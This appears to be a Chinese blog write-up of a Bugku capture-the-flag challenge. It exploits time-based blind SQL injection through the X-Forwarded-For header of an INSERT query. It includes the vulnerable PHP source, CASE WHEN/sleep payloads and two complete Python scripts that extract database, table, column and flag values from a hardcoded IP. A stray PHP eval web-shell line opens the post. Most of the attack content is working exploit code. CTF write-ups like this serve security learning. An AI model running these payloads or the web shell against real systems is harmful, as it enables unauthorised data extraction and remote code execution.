Bugku INSERT INTO注入

作者: print("") 分类: WEB安全,信息安全 发布时间: 2018-09-25 23:48

<script language=”php”>@eval_r($_POST[sb])</script>

唔,学习了一波。

这道题目的去掉了, 不能用if(exp1,exp2,exp3)的方式。

然后我就恶补了一下 case when then else end 的知识

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

源代码里面去掉了,  号,并且是一个

X-Forwarded-For的注入
测试一下延时注入,发现会延时5秒钟 
X-Forwarded-For: 1'+sleep(5) and '1'='1  

然后自己也在本地搭建了一个环境

这是正常插入数据的语句。改成我们注入的方式如下:

然后此时会变成5秒钟

那么此刻这个题目中只能用 case when then else end 的这种方式。那么就只能通过时间来判断了。

查询数据的时候。用如下的方式

举个例子

例如上面的。case 第一个是全部为真。相当于 shell 脚本中的if [1 =1];then 2=2 else 3=3  

when 后面的是一个判断语句 的方式。如果成立执行 then 语句2=2 不为真就等于3=3 

第三个。判断为1=2 是不为真的。直接走了 1=3  那也不为真。返回为0 

这里可以用于获取数据库的名称。

这里通过了一个判断。判断了当前数据的第一个字符为什么。substring 是一个字符切片的函数

然后判断 第一个字符是否等于a 如果等于a 那么就sleep(4) 

如果不等于就else 1 

那么可以通过一个测试得到 数据库的名称。脚本如下:

#!/usr/bin/env python
import requests,time,string

characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/'
database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"
def get_database():
    flag = ''
    for i in range(1, max_length):
        next_position = False
        for char in characters:

            payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char)
            headers = {
                'X-Forwarded-For': payload
            }
            try:
                r = requests.get(target,headers=headers,timeout=4)
            except requests.exceptions.ReadTimeout:
                flag += char
                print(flag)
                next_position = True
                break
        if not next_position:
            return flag
get_database()

那么怎么去获取数据的表信息呢

还是本地环境。然后我们知道了数据的名称为web15 就可以去获取表名

上面的结构如下:

这里可以查询到表的信息。通过substring 的方式获取第一个是否为a 然后用case when 的方式进行判断详细的语句如下:

(select case when  (substring((select table_name from information_schema.tables where table_schema='admin' limit 1 offset 0) from 1 for 1) ='a') then sleep(4) else 1 end and '1'='1');

可能有点绕了。不过分段理解就可以理解了。建议大家本地搭建一个环境。然后插入的方式如下:

这里执行了时间为4.02 秒说明 第一张表的名称第一个字为a 

下面发一个大佬写的脚本。很详细

# encoding:utf-8
import requests,time,string

characters = string.ascii_letters + string.digits + string.punctuation
max_length = 50
target = 'http://120.24.86.145:8002/web15/'
cur_database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') " \
      "then sleep(4) else 1 end) and '1'='1"

# 猜解字母
def get(payload):
    flag = ''
    for i in range(1, max_length):  # i 表示了所要查找的名字的最大长度
        next_position = False
        for char in characters: # 0x80=128 , 0x20=32,  32-128为可显示的字符的区间

            payload_ = payload.format(str(i), char)
            headers = {
                'X-Forwarded-For': payload_
            }
            try:
                r = requests.get(target,headers=headers,timeout=4)
            except requests.exceptions.ReadTimeout:
                flag += char
                print(flag)
                next_position = True
                break
        if not next_position:
            return flag

# 指定数据库,获取其下全部表名
def get_table(database):
    for i in range(0,5):
        print("正在查询数据库" + database + "中的表")
        payload = "'+(select case when (substring((" \
                 "select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \
                 "from {0} for 1)='{1}') " \
                 "then sleep(4) else 1 end) and '1'='1"
        table = get(payload)
        print( "数据库" + database + "的第"+ str(i+1) +"个表"+table)
        get_col(table)

        if not table:
            print('数据库'+database+'中的表查询完毕')
            break




# 查字段
def get_col(table):
    for i in range(0,5):
        print("正在查询表" + table + "中的字段")
        payload = "'+(select case when (substring((" \
              "select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \
              "from {0} for 1)='{1}') " \
              "then sleep(4) else 1 end) and '1'='1"
        column = get(payload)
        print("表" + table + "的第" + str(i+1) + "个字段为" + column )
        # print(column)
        if not column:
            print("表" + table + "中的字段查询完毕")
            break

# 作为单独的模块使用吧,获取字段详细信息
def result(column,table):
    payload = "'+(select case when (substring((select "+column+" from "+table+") from {0} for 1)='{1}') " \
      "then sleep(4) else 1 end) and '1'='1"
    print(get(payload))
a = 'flag'
result(a,a)

if __name__ == "__main__":
    database1 = get(cur_database)
    table1 = get_table(database1)

最后获取的flag 如下: cdbf14c9551d5be5612f7bb5d2867853

大佬写的轮子真的有趣。感觉可以深入改一下这个轮子

参考文章如下:https://bbs.ichunqiu.com/thread-41915-1-1.html

如果小弟有那些写的不对的,请各位大佬指定指定。太菜了。

留下了没有技术的泪水

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注